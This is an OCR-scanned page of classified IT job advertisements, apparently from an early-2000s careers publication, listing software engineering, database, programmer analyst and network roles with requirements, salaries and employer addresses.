debugs  &  installs  opr.  pgms.  & 
other  sys.  software  utiliz.  knowl. 
of  RDBMS  environments  and 
prog,  langs.  Bachelor's  deg.  or 
equiv.  in  Comp.  Soi.,  Math, 
Engrg.,  Bus.,  or  Commerce  plus 
2  yrs.  of  exp.  in  position  offered 
or  as  a  Software  Engr.,  Software 
Consultant,  or  Sys.  Analyst  rqd. 
Exp.  must  incl.  a)  RDBMS: 
Oracle  or  Sybase;  &  b) 
PROGRAMMING  LANGS.:  Java 
or  COBOL  or  P17SQL.  High 
mobility  preferred.  40  hrs/wk, 
8  am  -  5  pm,  OT  as  rqd., 
$66,829/yr.  Qualified  applicants 
report/submit  resume  to:  Fayette 
County  Team  PA  CareerLink, 
ATTN:  JS  Supervisor,  32  Iowa 
Street,  Uniontown,  PA  15401- 
3513.  Refer  to  Job  Order  No. 
WEB221896. 


Trader  Manager  positions.  Direct 
and  coordinate  activities  con¬ 
cerned  with  buying  &  selling 
securities  for  proprietary  brokerage 
firm.  Screen,  select  &  hire 
proprietary  traders.  Direct  in- 
service  training.  Develop  &  im¬ 
plement  plans  to  ensure  compli¬ 
ance  of  traders  with  established 
programs,  procedures  and  prac¬ 
tices.  Establish  internal  control 
procedures  for  margin  accounts, 
short  sales,  etc.  Review  recapit¬ 
ulation  of  daily  transactions  to 
ensure  compliance  with  rules 
and  regulations,  etc.  Analyze 
operations  for  potential  cost 
savings  and  program  improve¬ 
ment.  Conduct  staff  meetings 
of  personnel  to  explain  new 
policies  and  how  to  increase 
profitability.  Bachelor's  degree  or 
equivalent  in  business,  economics, 
finance  or  related.  Securities 
trader  license  and  Series  24 
mgmt  license.  1-2  yrs.  exp.  pro¬ 
prietary  trading.  9-5.  Send 
resume  to  TM,  PO  Box  5275, 
New  York,  NY  10185-5275. 


Several  computer  related  posi¬ 
tions  available  for  large  trans¬ 
portation  and  logistics  services 
company.  Degree,  technical  skills 
&  experience  vary  per  positions. 
Send  resume  to  Human  Re¬ 
sources,  Ref.#  SK(G)  at  United 
Parcel  Service,  2010  Warsaw 
Road,  Roswell,  GA  30076. 
Employer  will  not  sponsor  visas 
for  positions. 


SIEMENS 

Take  a  Closer  Look. 

It's  a  great  feeling  to  work  for  a  company  and 
know  you  really  belong  there.  When  the  envi¬ 
ronment,  the  people,  and  the  opportunity 
exceed  your  expectations  and  your  hard  work 
is  appreciated. 

Software  Engineer 

We  are  seeking  a  Software  Engineer  to  design 
and  implement  key  complex  product  enhance¬ 
ments  and  features.  Other  responsibilities 
include  assisting  the  manager  and  advisory  pro¬ 
grammer  analysts  with  research  for  setting 
product  directions  and  development  process. 
Requirements  include  a  Master's  Degree  (or 
equivalent)  in  CompSci,  Engineering,  or  related 
field  and  2  years  of  related  work  experience. 
Must  also  have  prior  experience  in  product 
development,  planning,  installation/support, 
and  using  formal  methodologies  including 
object-oriented,  structured  or  business  process 
modeling.  Proficiency  in  JAVA,  UML,  Visual  j-f-F, 
XML,  JAVA  Script,  MS-SQL,  Windows  2000/NT, 
CCC  Harvest,  Select  Enterprise,  and  Rational 
Rose  required. 

Siemens  Health  Services  specializes  in  develop¬ 
ing  clinical,  financial,  and  management  solu¬ 
tions  that  support  leading  health  providers 
across  the  continuum  of  care.  As  an  integral  part 
of  our  organization,  you'll  enjoy  highly  competi¬ 
tive  compensation,  including  a  wide  array  of 
benefits,  and  professional  development  oppor¬ 
tunities. 

Isn’t  it  time  you  took  a  closer  look? 

FAX:  (610)219-8266 
Email:  human.resources@smed.com 
Source  Code:  RADMCPWooH 
www.smed.com/careers 

Equal  Opporiunity.  Affirmative  Action  Employer. 


SOFTWARE  ENGINEERS  (8 
positions)  require  Bachelor's 
or  equivalent  in  Engineering/ 
Computer  Science/Mathematics/ 
Science  or  closely  related  field 
with  experience  providing  skills 
in  described  duties,  at  $70,000 
per  year;  Senior  Software  Engi¬ 
neers  (8  positions)  with  Master's 
or  equivalent  and  experience,  at 
$75,000  per  year.  Provide  on-site 
consulting  in  design,  analysis 
and  development  of  software 
applications  for  legacy  systems 
in  IBM  mainframe  environment; 
development  and  administration 
in  Oracle,  DB2,  SQL  Server  and 
Sybase;  e-commerce  and  web 
applications  development  in 
Microsoft,  Java  and  related 
technologies;  network  manage¬ 
ment  systems  development  with 
Netscape  Server  and  related 
tools;  SAP  R/3  applications  on 
Windows  with  DOS  and  ABAP/4 
and  related  modules.  40%  travel 
to  client  sites  in  United  States. 
Mail  resumes  to:  Y  &  L  Consulting, 
Inc.,  7550  I  H  10  West,  Suite 
940,  San  Antonio,  TX  78229. 


Sr.  IT  Consultant/Project  Lead. 
Columbia,  MD.  Manage  concep¬ 
tual,  logical  &  physical  design 
of  application  development,  & 
design/develop  schemas,  stored 
procedures,  triggers,  objects, 
object  models,  etc.;  manage 
tull-system  development  life  cycle 
of  client  project  using  MS  Project 
2000;  manage  source  code  using 
MS  Visual  Source  Safe  6.0; 
develop  &  execute  test  scripts  & 
conduct  stress  testing;  manage 
deployment  of  application  from 
development  to  staging  &  to 
production  environments.  Reqd. 
MSIF  or  equiv.  &  2  yrs  rel.  exp. 
M-F  40/hrs/wk  +  07T  as  needed. 
Freq.  relocation  within  U.S.  may 
be  necessary.  Send  Resume  to 
J.  Brigham.  HR  #13102,  TEK 
Systems  Inc.,  6992  Columbia 
Gateway  Drive.  Columbia.  MD 
21046 


Programmer/Analyst:  Develop 
basic  applications  for  using  MFC 
and  ODBC  to  communicate  with 
MS  SQL  database  for  inventory 
control  and  automation.  Write 
programs  to  utilize  Lab  View  soft¬ 
ware  for  automated  equipment 
testing  for  Engineering  Dept. 
Maintain  and  test  reliability  and 
consistency  of  applications. 
Perform  unit  testing,  monitoring, 
fine-tuning,  trouble  shooting  and 
bug-fixing  duties.  Write  specifi¬ 
cations  and  documentation  as 
requested  within  level  of  experi¬ 
ence.  Assist  Q.C.  Dept,  with 
automation  and  use  of  spectrum 
analyzer,  noise  figure  meter,  and 
network  analyzer.  Work  within  a 
multinational  and  multilingual 
work  environment  and  interface 
with  IT  and  Engineer  personnel 
at  vendors  and  OEM  customers 
in  North,  Central  and  South 
America  and  at  manufacturers 
and  suppliers  in  China  and 
Taiwan.  Req.  BS  in  CS  or  CIS 
with  9  months  experience  in  job 
offered  or  as  programmer.  Profi¬ 
ciency  in  C++,  MS  SQL,  AutoCAD 
$48,000.00  per  year.  40  hr/wk,  8- 
5.  Send  resume  to  Dir.  Of  HR, 
Pro  Brand  International,  Inc., 
1 900  West  Oak  Circle.  Marietta, 
GA  30062 


Network  Administrator  (Multiple 
Openings):  Install/maintain 
network  &  oversee  network 
security;  troubleshoot  in  Cisco 
Routers.  IIS  4,  Exchange  Server 
5.5  &  Universe  Pick;  support 
computer/LAN  integration;  provide 
backup  &  disaster  recovery  with 
RAID  implementation  on  Novell, 
Microsoft  &  Unix  networks/ 
servers. Req  5  yrs  work  exp  as 
Network  Administrator,  IT  Man¬ 
ager  or  related  occupation.  Hrs.: 
8a-5p,  M-F.  Send  resume  to 
Wellington  Leisure  Products. 
IrK.  PO  Box  244,  Madison.  GA 
30650  RefLG 
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Panex  is  an  IT  boutique  head¬ 
quartered  in  Houston,  Texas 
specializing  in  providing  intelligent 
technological  solutions  in  every¬ 
thing  from  Data  Warehousing/ 
Bl  to  dynamic  E-commerce 
solutions  to  global  technology. 
Panex  currently  has  openings  for 
the  following; 

Business  Database  Analysts: 
Coordinate  business  intelligence 
requirements  of  client  users  and 
conduct  implementation  of 
datawarehouse  projects  using 
design  methodology,  dataware- 
house  modeling  techniques,  re¬ 
lational  database  systems, 
including  ERP  and  other  back¬ 
end  systems,  online  analytical 
processing  and  SQL.  Implement 
security  measures  within  SAP 
Business  Warehousing  applica¬ 
tions.  Use  extraction,  transfor¬ 
mation,  and  loading  tools  for  dai¬ 
ly  manipulation  and  monitoring 
of  data.  Perform  datawarehouse 
system  administration  utilizing 
customized  extractors,  information 
objects,  datasources,  Infocubes, 
update  rules  and  transfer  rules 
design,  data  scheduling,  infor¬ 
mation  sets.  Use  reporting  tools 
like  Business  Explorer  analyzer, 
browser  and  web  enabling  inter¬ 
faces.  Provide  post-implementa¬ 
tion  support. 

Need  Master’s  degree  in  Man¬ 
agement  or  Computer  Science. 
Need  2+  years  of  experience  in 
related  occupation. 

Send  Resume  to:  Ms.  Kathylene 
Theus,  10701  Corporate  Drive, 
Suite  #380,  Stafford,  Texas 
77477  or  send  via  e-mail  to: 
ktheus  @  panex-usa.com 


Corpus,  Irx:.  is  a  leading  consulting 
and  technology  services  firm 
based  in  Dallas,  Texas,  providing 
innovative  B2B,  enterprise 
integration,  and  E-commerce 
solutions.  Our  company  currently 
has  openings  for  the  following: 

Senior  Software  Engineers: 
Research,  design,  develop,  and 
test  new  computer  and  enterprise 
applications  using  Active  Server 
pages  and  Visual  Basic 
technologies.  Create  software 
program  designs,  analyze 
customer  requirements,  and 
develop  solutions  using  Oracle 
and  Oracle  Applications.  Develop 
software  solutions  testing  proce¬ 
dures  and  design  and  implement 
interfaces  among  systems.  Need 
Master’s  in  Computer  Science  or 
related  field.  Need  2+  years  of 
experience. 

Programmer  Analysts: 

Analyze,  design,  develop,  test, 
and  implement  programs  for 
enterprise  applications  using 
Webmethods,  eGate  Seebeyond, 
Humming  bird-Enterprise  infor¬ 
mation  portal.  Biometrics,  Oracle 
applications.  Active  Server 
pages,  Microstation,  GIS,  Cable 
and  Auto  CAD.  Need  Bachelor’s 
degree  in  Engineering,  Computer 
Science  or  related  field.  Need  2+ 
years  of  experience. 

Send  Resume  to:  Corpus,  Inc., 
HR  Manager  Ekta  Singh,  1300 
Walnut  Hill  Lane,  Suite  #250, 
Irving,  Texas,  75038,  via  fax; 
(972)  580-1877,  or  via  email  to; 
jobs@corpusinc.com. 


Customer  Education  Engineer 
National  Instruments,  an  Austin- 
based  tech  CO.  seeks  Engineer 
to  create  written,  online  and 
electronic  technical  materials; 
identify  training  needs  to  design 
and  develop  technical  training 
curriculum  for  internal/external 
customers:  design  courses  and 
develop  workbooks/lrainer  notes; 
ensure  exams  and  procedures 
updated.  Involved  with  products 
from  concept  to  final  release  to 
ensure  timely  course  develop¬ 
ment.  Req,  B.S.  in  Engineering 
and  1  yr  exp  in  job  or  as  Sales 
Engineer.  Fax  to  Ra|a  Paris  O 
512-683-6924.  Code  ZCE. 


Computers 

National  Instruments  Corp  is 
a  fast  growing  Hi-tech  Co  based 
in  Austin,  TX  and  is  currently 
seeking  to  fill  multiple  positions 
in  the  following: 

Software  Engineers 
Research,  dsgn  &  dvip  s/ware  in 
mainly  C/C+-f  using  OO  dsgn  & 
s/ware  dsgn  principles.  Must 
have  Bachelors  in  Engg,  or  Comp 
Sci  or  Physics  or  Math.  CODE: 
ZSW 

Applications  Engineers 
Develop  applications  for  products, 
systems  and  new  business 
opportunities.  Provide  technical 
support  for  software  products 
and  their  applications  to  cus¬ 
tomers,  sales  engineers,  and 
distributors.  Resolve  technical 
issues  using  an  understanding 
of  electronics  and  software  pro¬ 
gramming  fundamentals.  Must 
have  Bachelor’s  in  Engineering 
or  Computer  Science,  or  Physics 
or  Math.  CODE:  ZAE 

Computer  Hardware  Design 
Engineers 

Research,  dvIp  &  manage  pro¬ 
jects  in  data  acquisition,  signal 
conditioning,  industrial  commu¬ 
nication,  instrument  Ctrl,  image 
acquisition,  embedded  con¬ 
trollers  &  ASIC  prdcts  using 
dsgn  techniques  in  analog  & 
digital  circuit  dsgn,  comp  archi¬ 
tecture,  communication  bus 
interfacing  &  digital  signal  pro¬ 
cessing.  Must  have  Bachelors  in 
Engg,  Comp  Sci,  or  Physics  or 
Math.  CODE;  ZHE 

Programmer/Analysts  (Business 
Processes) 

Plan,  analyze,  dsgn,  dvip  &  test 
s/ware  using  Oracle,  Lotus 
Notes,  Web;  use  GUI  &  object- 
oriented  dsgn  to  dvip  user  inter¬ 
faces  &  data  entry  screens  that 
support  business  functions. 
Bach  in  Info  Sys  or  Comp  Sci  or 
Business  Admin.  CODE:  ZPA 

Staff  Programmer/Analysts 
Evaluating  applications  develop¬ 
ment  projects,  leading  a  team  of 
Programmer  analysts/interns; 
planning,  analyzing,  dsgng, 
dvlpng  &  testing  s/ware  using 
Oracle  &  Lotus  Notes;  using  GUI 
&  object-oriented  dsgn  to  dvip 
user  interfaces  &  data  entry 
screens.  Bach,  needed  and  2 
years  as  Programmer/Analyst. 
CODE:  SPA 

Fax  resumes  to:  Raja  Paris, 
National  Instruments  Corp  at 
512-683-6924,  Job  Code  must 
appear  on  resume. 


♦ 


Director,  Information  Technology 
Springdale,  Arkansas 
Manage  company  IT  department 
to  provide  efficient  information 
management  system  to  support 
business  processes.  Specific 
duties  include:  1 )  plan  and  direct 
various  development  projects  of 
information  management  system 
running  in  a  JDEdwards  AS/400, 
Data  Warehousing  technology, 
WAN  technology,  and  PC  LAN 
Networks  environment;  conceive 
and  develop  IT  strategy,  action 
plans  and  budget  in  conjunction 
with  the  general  business  strategy 
of  parent  company  and  its  sub¬ 
sidiaries;  implement  and  enforce 
procedures  for  IT  department  in 
accordance  with  best  practices 
and  ALTO  U.S.'  ISO  9001  TQM 
Manual:  consult  and  coordinate 
with  the  Denmark  parent  company 
and  other  affiliates  in  English- 
Danish  bilingual  capacity  in 
develop  and  maintenance  of  IT 
policies/standards,  as  well  as 
systems  integration.  Requires 
Master's  Degree  in  Computer 
Science  or  Business  Adminis¬ 
tration  with  emphasis  on  MIS 
and  minimum  7  years  experience 
in  IT  department  and/or  project 
management.  Competitive  salary; 
40  hr/week;  Mon.-Fri.,  8;00am  - 
5:00pm.  Resume  to:  VP  Human 
Resources,  ALTO  U.S.  Inc., 
16253  Swingley  Ridge  Rd., 
Suite.  200,  Chesterfield,  MO 
63017.  Nocalt/EOE. 


TECHNOSOL  TECHNOLOGIES, 
L.L.C.  is  a  rapidly  growing 
computer,  e-business  and  tech¬ 
nology  solutions  provider  with 
expertise  in  the  latest  develop¬ 
ments  in  information  technologies 
and  IT  applications  and  services. 
We  are  currently  looking  for  the 
following: 

Programmer  Analysts:  Candidate 
must  be  able  to  design  and  code 
applications  to  meet  user 
requirements  and  specifications 
using  Visual  Basic  6.0,  MS  Visual 
SourceSafe  6.0,  and  Active 
Reports.  Debug  and  compile 
code  to  correct  errors.  Conduct 
maintenance  and  testing  of 
implemented  applications  to 
enhance  performance  and  fix 
problems/bugs  throughout  the 
life  cycle.  Engage  in  database 
development  by  writing  and 
enhancing  stored  procedures, 
triggers,  and  functions  using  MS 
SQL  Server  7.0/2000,  Business 
Objects,  and  Lotus  Notes. 
Requires  a  Bachelor’s  degree  in 
Management  Information  Systems 
or  Computer  Science  or  related 
and  2-r  years  of  experience. 
Send  Resume  to:  Madhavi 
Singh,  President,  Technosol 
Technologies,  L.L.C.,  12025 
Tambourine  Dr.  Stafford, 
TX  77477  or  send  via  e-mail: 
technosol@technosoltech.com 


Software  Programmer;  Dallas, 
Texas:  Plan,  develop,  test  & 
document  programs  to  meet 
user  requirements.  Prepare  flow¬ 
charts  and  diagrams.  Design 
screen  displays.  Convert  data 
into  instruction  for  coding  into 
computer  language.  Enter  codes 
and  test  programs.  Replace  or 
modify  codes.  Master's  degree 
or  equivalent  in  Electrical  Engi¬ 
neering  or  Computer  Science. 
Coursework  must  have  inciuded 
C,  C++,  Visual  Basic,  ASP,  Java 
Script,  SQL,  UNIX,  Telecommu¬ 
nications  Network  Operations, 
Data  Networks  Configuration 
and  Administration,  Database 
Programming  and  Administration, 
COM/COM+,  Distributed  Appli¬ 
cation  Design,  Development  and 
Implementation.  Send  resume  to 
Karen  Parente,  Direct  Insite,  80 
Orville  Dr.  Bohemia,  NY  11716. 


Medical  Billing  Systems  Analyst- 
Programmer  needed  by  a  med¬ 
ical  billing  services  company 
in  Chicago,  IL.  Must  have  a 
Bachelor's  degree  in  Business 
Administration  with  concentration 
in  Management  Information 
Systems.  1  year  experience  in 
electronics/computerized  billing. 
Respond  to:  President,  Chicago 
Medical  Billing  Specialists,  3209 
N.  Natchez,  Chicago,  IL  60634. 


/Application  Analysts  &  Developers. 
Software  (Reynolds  DMS  &  auto 
products)  apps  design  &  devel¬ 
opment  using  Java,  Visual  Inerdev, 
VB,  VC++,  Businessware,  SQL 
Server  2000  &  ASP/IIS  5.0. 
Req,  BS  in  comp  sci,  engg, 
or  related  field  &  1-2  years  of 
exp  in  programming,  developing, 
or  analysis.  Resumes  to:  K. 
Cramer,  Reynolds  and  Reynolds, 
PO  Box  2608,  Dayton,  OH 
45401 


Business  Analyst  wanted  by 
Elmhurst  IL.  co.  Develop,  imple¬ 
ment,  test  &  maintain  financial 
report  systems  using  Baan  soft¬ 
ware.  Requires  MS  in  Business 
or  Comp  sc.  &  5  yrs  exp.  Reply 
to:  Christopher  Ther,  Scholle 
Corporation,  Suite  300,  360  W. 
Butterfield  Rd,  Elmhurst,  IL 
60126. 


Several  computer  related 
positions  available  for  large 
software  development,  sup¬ 
port  and  sales  company. 
Degree,  technical  skills 
&  experience  vary  per 
position.  Send  resume 
to  Jim  Pearce,  Thru-Put 
Corporation,  2099  Gateway 
Place,  Suite  240,  San  Jose, 
CA  95110. 

System  Config  Tech  -  set  up, 
configure,  customize  &  integrate 
office  tech  to  enhance  &  expand 
client's  computer  op.s  w/software 
pkgs  &  solutions.  Ensure  QA 
stds  met  tor  prod  shipmt,  9am- 
5pm.  Bach  in  CIS.  3  mos  exp.  or 
3  mos  as  Comp  Info  Support 
Specialist.  E-mail  resumes  to 
jobs@equitrac.com 

ERP  Consultant,  Edison,  NJ. 
Must  have  Bachelor's  degree  or 
US  equivalent  in  Comp.  Sc., 
Engg.  Proficiency  with  SAP  & 
RDBMS  (e.g.  Oracle),  5  yrs  of 
exp,  in  the  job  duties  or  Comp. 
Software  Developing  and/or 
Consulting.  Send  resume  to  HR 
Dept.,  Ref#  GG8079.  Savant 
Consulting  Group,  505  Thornall 
St„  Ste.  205,  Edison,  NJ  08837 
or  fax  to  732-744-0135  (no 
phone  calls  please). 


Database  Analyst  III  wanted  by 
Wl  pharmaceutical  mfr.  Analyze, 
design  and  develop  various 
database  applications  and  front- 
end  interfaces;  develop  applica¬ 
tions  using  standard  development 
tool  sets;  create  and  execute 
detailed  plans  to  test  the  validity 
and  reliability  of  developing 
sys.;  develop  technical  coding 
specifications;  analyze  user  re¬ 
quirements  for  design  specifica¬ 
tions.  Req.  BS  in  Compt.  Sci.  or 
Electric  Engg.  or  equiv.,  &  5  yrs. 
exp.  in  database  application 
development.  Respond  to:  C. 
Crawford,  HR  Dept.  @  F. 
Dohmen  Co.,  W194  Nil 381 
McCormick  Dr.,  Germantown, 
Wl  53022. 


Sr.  Prog.  Analyst.  40  hrs/wk,  8-5, 
$50,000/yr,  ana,  design,  dev. 
enhancement  of  soft  appi  using 
Smalltalk,  Windows,  OO  Tech, 
travel  may  be  required.  3yrs  exp 
BS  req.  Apply  by  resume  only  at 
Colorado  Dept,  of  Labor  and 
Employment,  Employment  Pro¬ 
grams,  Attn.  Jim  Shimada,  Two 
Park  Central,  Ste,  400,  1515 
Arapahoe  Street,  Denver,  CO 
80202.  J.O.CO501 1305 


ADABAS  NATURAL 
AIX/UNIX 
PSSP  RS  6000 
HACMP  CISCO 
WEB  -  JAVA 
VB  C++  ORACLE 
TIVOLI  SAN 

NETWORKING  ENGINEERING 
SIDEWINDER 

Call  Mike  Sullivan 

Mutual  Computer  Consulting,  Inc. 

964  3rd  Ave.  31st  Floor 
New  York,  NY  10155 
800-310-9744 

E-mail  to:  mutualc@attglobal.net 


Software  Engineer:  Full  time. 
Competitive  salary  offered. 
Requires  bachelors  degree  in 
computer  science  or  electrical  or 
electronics  engineering  and  one 
year  experience.  Experience  to 
include:  use  of  PeopleSoft; 
design  of  web  sites.  Must  have 
proof  of  legal  authority  to  work 
permanently  in  the  U.S.  No 
phone  calls.  Interested  appli¬ 
cants  should  send  resume  to: 
Masood  Ahmed,  The  Infologic 
Group,  Inc.,  504  W.Torrey  Pines, 
Vernon  Hills,  IL  60061. 


Snr.  Software  Engineer.  Install  & 
maintain  Internet  Application  & 
Oracle/SQL  Servers  on  NT/Unix 
operating  system.  Write  appli¬ 
cation  programs  &  administer 
database  scripts.  Provide  tech, 
support,  Req:  Masters  in 
Computer  Science.  40-hr,  wk 
Job/Interview  Site:  Pasadena, 
CA.  Please  send  resume  to 
Montgomery  Watson  Harza,  300 
N.  Lake  Ave.,  Suite  1200, 
Pasadena,  C A  91101,  Attn:  D. 
Arcaro 


Software  Engineers  &  Program¬ 
mers.  Design  and  develop 
firmware  modules  and  drivers 
for  Gigabit  Ethernet,  PCI-X  fibre- 
channel  controllers.  Enhance 
&  modify  networking  protocol 
stacks  and  storage  I/O  stacks. 
Develop  Linux  kernel  modules  to 
support  proprietary  hardware.  C 
&  RISC  Processor  languages 
utilized.  Multiple  positions. 
Prevailing  wage  &  benefits. 
Arlette  Kingery,  iVivity,  Inc.  5555 
Oakbrook  Parkway,  Ste,  280, 
Norcross,  GA  30093. 


Solid  results,  record  speed  -  IDG  Recruitment  Solutions. 
Call  Janis  Crowley  at  1-800-762-2977  •  IDG 

^  Recruitment  Solutions 


MILLIONS  OF 
READERS 

MILLIONS  OF 
SURFERS 


ONLY 
THOUSANDS 
OF  DOLLARS 

TOTAL  IMPACT 
TOTAL 
SAVINGS 

Put  your  message  in 
IT  careers  and 
IT careers.com  and 
reach  the  world’s 
best  IT  talent. 
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where  the  best  get  better 
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QA  Tester;  Req:  B.S  Com¬ 
puter  Science  or  related 
field  &  exp  in  prep  of  test 
plan,  test  cases  &  knowl¬ 
edge  of  BRD  and  SRS's  in 
client  server  &  mainframe 
environment.  Send  resume 
to:  Nexiink  Systems,  Inc,  2 
Worlds  Fair  Dr,  Suite  304, 
Somerset,  N J-  08873 


Project  Manager: 

Seeking  experienced  project 
managers  in  Chicago,  New  'fork 
and  San  Francisco  who  are  tech¬ 
nical  experts  in  applying  formal 
project  management  tools  to  the 
full  life-cycle  development  of 
large  scale,  OO,  distributed 
client/server  systems.  Must  have 
experience  directing  software 
development  teams,  with  direct 
responsibility  for  scope  control, 
staffing  issues,  budget  mainte¬ 
nance  and  client  relations.  Must 
have  a  good  basic  understanding 
of  distributed  computing,  auto¬ 
mated  testing  and  full  life-cycle 
development.  Must  have  knowl¬ 
edge  of  CX)  languages  such  as 
Java,  Forte,  Smalltalk  or  C-n-. 
Position  requires  a  BS  in  business, 
finance,  computer  information 
systems  or  a  related  field  or  the 
equivalent.  Please  email  resume 
to  jobs@thoughtworks.com. 


SOFTWARE  ENGINEER  to 
design,  develop,  test,  implement, 
and  maintain  application  software 
and  Process  and  Distribution 
databases  using  Informix  4GL, 
Dynamic4GL,  Shell  Script,  Visual 
Basic,  SQL,  Oracle,  MS  Access 
and  Delphi  on  UNIX  and  Linux 
platforms;  Develop  and  maintain 
reporting  systems  for  internal 
and  external  clients.  Require: 
B.S.  degree  in  Computer  Science/ 
Engineering,  or  a  closely  related 
field  with  five  years  of  experience 
in  the  job  offered.  Competitive 
salary  offered.  Apply  by  resume 
to:  Michael  A.  Brooks,  VP 
Information  Technology,  NSDI 
Teleperformance,  4151  Ashford 
Dunwoody  Road,  Suite  675, 
Atlanta,  GA  3031 9;  Attn:  Job  RH. 


Compu-Solve,  Inc.,  has  open¬ 
ings  for  IT  professionals  with 
industry  exp.  (various  skills  com¬ 
bination  reqd.)  in  HP  9800,  HP 
9000,  HP-Unix  Class  K580, 
Solstk»,  Veritas  Volume  Manager, 
Oracle  7.X/8.0,  CIC*+,  VB,  Sun 
Solaris,  Jdeveloper3.0,  OAS  4.0, 
Oracle  Designer  6.0,  Jbuilder, 
Info  Swing,  etc.  Some  positions 
require  MS  or  equiv.  CS,  Engg, 
Math,  Bus.  Admin,  or  rel.  field 
while  others  require  BS  or  equiv. 
as  above.  Pay  matching  with  exp. 
Foreign  educ.  equiv  &/or  combi¬ 
nation  of  educ/exp.  accepted. 
Travel/relocation  reqd.  Resumes 
only  to  CSI,  306  5th  Ave,  New 
York,  NY  10016 


SENIOR  SOFTWARE  ENGI¬ 
NEER  to  design,  develop,  test 
and  implement  mortgage  software 
in  both  client/server  and  web- 
based  environments  using  Java, 
Jbuilder,  PowerBuilder,  Oracle, 
Visual  C-I-I-,  Mercator,  JSP,  HTML 
and  XML  under  Windows  2000/ 
NT  operating  systems:  Maintain 
source  control  library  using  PVCS; 
Design  and  develop  business  to 
business  interfaces  with  FNMA, 
FHLMC,  MGIC  and  RMIC  utilizing 
Mercator  Data  mapping  tool. 
Require:  M.S.  degree  in  Computer 
Science/Engineering  or  a  closely 
related  field  with  two  years  of 
experience  in  the  job  offered. 
Competitive  salary  offered.  Send 
resume  to:  Aimee  Krempa,  Asst. 
VP,  HP,  Flagstar  Bancorp,  5151 
Corporate  Drive,  Troy.  Ml  48098- 
2639;  Attn:  Job  HX. 


The  University  of  Oklahoma 
OU  Health  Sciences  Center 
Technical  Specialist 

Bachebr's  degree  in  Management 
Information  System  or  equivalent 
education  and  experiences. 
Experience  in  technical  workflow 
methodologies,  2  years  experi¬ 
ence  in  SQL,  Crystal  Reports, 
SQR,  data  management  tech¬ 
niques,  Tnj-64  UNIX  development, 
2  years  experience  in  at  least 
two  Peoplesoft  Application 
System;  Financials,  HRMS, 
research  of  software  products, 
and  involvement  with  software 
products,  and  involvement  with 
software  upgrades  and  the 
projects  life  cycle.  Contact 
Human  Resources,  1100  N. 
Lindsay,  OKC,  OK  73104.  or  visit 
our  website  at  www.ouhsc.edu 

AA/EOE 


DATABASE  ADMINISTRATOR 
to  administer,  develop,  analyze, 
test,  implement  and  maintain 
Oracle  databases  using  Oracle, 
SQL,  PL'SQL,  SQL-NET  Net8, 
SQL'Loader,  export,  import,  BMC 
Patrol,  Erwin,  Oracle  Designer, 
Oracle  Enterprise  Manager, 
RMAN,  and  PowerBuilder  under 
SUN  Solaris,  AIX,  Linux,  UNIX 
and  Windows  95/98/NT  operating 
systems;  Administration  duties 
include  installation  of  Oracle 
databases  and  development  tools, 
backup  and  recovery,  creation 
and  monitoring  of  users  tables, 
indexes,  constraints,  views,  role; 
Tune  databases  tor  optimum 
performance  and  perform  trou¬ 
bleshooting;  Require:  B.S.  degree 
in  Computer  Science,  an  Engi¬ 
neering  discipline,  or  a  closely 
related  field  with  five  years  of 
progressively  responsible  experi¬ 
ence  in  the  job  offered  or  as  a 
Systems  Analyst.  Competitive 
salary  offered.  Send  resume  to: 
Aimee  Krempa,  Assistant  VP, 
HR,  Flagstar  Bancorp,  5151 
Corporate  Drive,  Troy,  Ml  48098- 
2639;  Attn:  Job  AT. 


♦ 


Sr  Software  Engineer  (Atlanta, 
GA)  to  analyze,  design,  program, 
debug,  test  and  modify  local, 
network  and  internet  related 
computer  software  for  materials/ 
financial  management,  HRIS 
and  desktop  applications;  Install, 
configure  and  support  SAP  ERP 
software  in  the  Basis  area  using 
SAP  R/3,  BW  and  BBR  Require 
a  Bachelor's  degree  (or  equiva¬ 
lent)  in  Computer  Science,  Com¬ 
puter  Information  Systems,  or  a 
closely  related  field,  with  two 
years  of  experience  in  the  job 
offered  or  as  a  Prog/Sys  Analyst, 
Sr  Prog  or  IT  Consultant.  Bach¬ 
ebr's  equivalency  gained  through 
a  combination  of  work  experience 
and  academic  coursework  will 
be  accepted.  Competitive  salary 
and  benefits.  8:00  am  -  5:00  pm. 
Monday  -  Friday.  Please  send 
resume  to  KRM  -  HR,  CheckFree 
Services  Corporation,  6000 
Perimeter  Drive,  Dublin,  Ohio 
4301 7.  Attn.  GB.  (no  phone  calls) 


SOFTWARE  ENGINEER  to 
design,  devebp,  test,  implement, 
and  maintain  Java-based  e- 
commerce  application  software 
using  Java,  Servlets,  JavaScript, 
EJB,  JDBC,  J2EE,  HTML, 
DHTML,  Oracle,  Visual  Cafe  and 
Weblogic  under  UNIX  and 
Windows  2000/NT  operating 
systems.  Require:  M.S.  degree  in 
Computer  Science,  an  Engi¬ 
neering  discipline,  or  a  closely 
related  field  with  two  years  of 
experience  in  the  job  offered 
or  as  a  Programmer/Analyst. 
Competitive  salary  offered. 
Apply  by  resume  to:  Robert  C. 
Morrell,  Chief  Technology  Officer, 
Risk  Laboratories.  LLC,  531 
Roselane  Street,  NW,  Suite  800, 
Marietta,  GA  30060;  Attn:  Job 
KA. 


Programmer  Analyst 
(IBM  Mainframe)  - 
Multiple  Openings 

Structured  systems  analysis, 
design,  development,  testing, 
quality  assurance,  implementa¬ 
tion,  integration,  maintenance, 
support  and  conversion  of  large 
volume  online  transaction  pro¬ 
cessing  and  batch  application 
systems  in  a  multi-hardware/ 
multi-software  environment  over 
centralized  database  systems 
using  relational/hierarchical/ 
network  database  management 
systems.  Third  Generation 
Languages  (3GLs),  Fourth 
Generation  Languages  (4GLs), 
CASE  tools  and  Transaction 
Processing  Software,  Bachelor’s 
Degree  (or  equivalent)  in 
Computer  Science-Math/Engi¬ 
neering/Science/Business- 
Commerce  and  1  yr.  experience 
in  job  offered  or  as  Software 
Engineer/Systems  Analyst  are 
required.  Must  have  appropriate 
combination  of  skills  as  follows: 
1  of  A  and  1  of  B  and  1  of  C;  or  1 
of  A  and  2  of  B;  or  1  of  A  and  2 
of  C.  A  includes  DB2,  IMS  DB 
and  IDMS  DB;  and  B 
includes  CICS,  IMS  DC,  IDMS 
DC,  ADS/0,  QMF,  VSAM  and 
MF-Workbench;  and  C  includes 
TELON,  lEF,  ADW,  CSP  and 
APS;  High  mobility  preferred.  40 
hrs/week,  8  am  -  5  pm,  $66,829 
-  $78,000  per  year.  Qualified 
applicants  should  contact  or 
send  resume  to:  Manager,  Arm¬ 
strong  County  Team  PA  Career- 
Link,  1270  North  Water  Street, 
PO  Box  759,  Kittanning,  PA 
16201-0759.  Refer  to  Job  Order 
#  WEB  222655. 


